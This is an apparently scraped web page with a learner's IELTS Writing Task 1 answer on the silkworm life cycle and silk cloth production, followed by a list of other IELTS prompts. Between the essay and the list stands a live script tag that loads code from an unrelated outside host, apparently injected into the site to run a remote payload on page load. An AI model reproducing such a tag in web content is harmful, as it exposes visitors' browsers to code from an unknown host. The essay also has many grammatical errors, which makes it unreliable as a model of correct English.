The diagrams give information about the periods of silkworm’s life and how the clothes making by silk.
Overall, life cycle of silkworm consist of 4 parts and it begins with an egg while ends with moth. Silk clothes product by 5 steps.
In the first diagram, silkworm makes eggs and 10 days later silkworm larvas get out from the eggs. Then they eat mulberry leaf for food as second step. After 4 or 6 weeks larvas produce silk thread and cocoons are formed in 3-8 days. Moths are be made up of these cocoons in 16 days and lifetime of silkworm turns to the beginning.
In the second diagram, protocol of silk cloth production is beginning with selecting the cocoons. After that, these cocoons are boiled in the water. Unwind process is the third step and it occurs as 300-900m length thread. These silk yarns twist and weave before the dye applied.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- The graph below shows the consumption of fish and some different kinds of meat in a European country between 1979 and 2004 Summarise the information by selecting and reporting the main features and make comparisons when relevant 78
- IELTS 6 Test 1 Writing Task 2 Academic You should spend about 40 minutes on this task Write about the following topic Today the high sales of popular consumer goods reflect the power of advertising and not the real needs of the society in which they are s 61
- Universities should accept equal numbers of male and female students in every subject To what extent do you agree or disagree
- Research indicates that the characteristics we are born with have much more influence on our personality and development than any experiences we may have in our life Which do you consider to be the major influence Give reasons for your answer and include 73
- The diagram below shows the manufacturing process for making sugar from sugar canes 73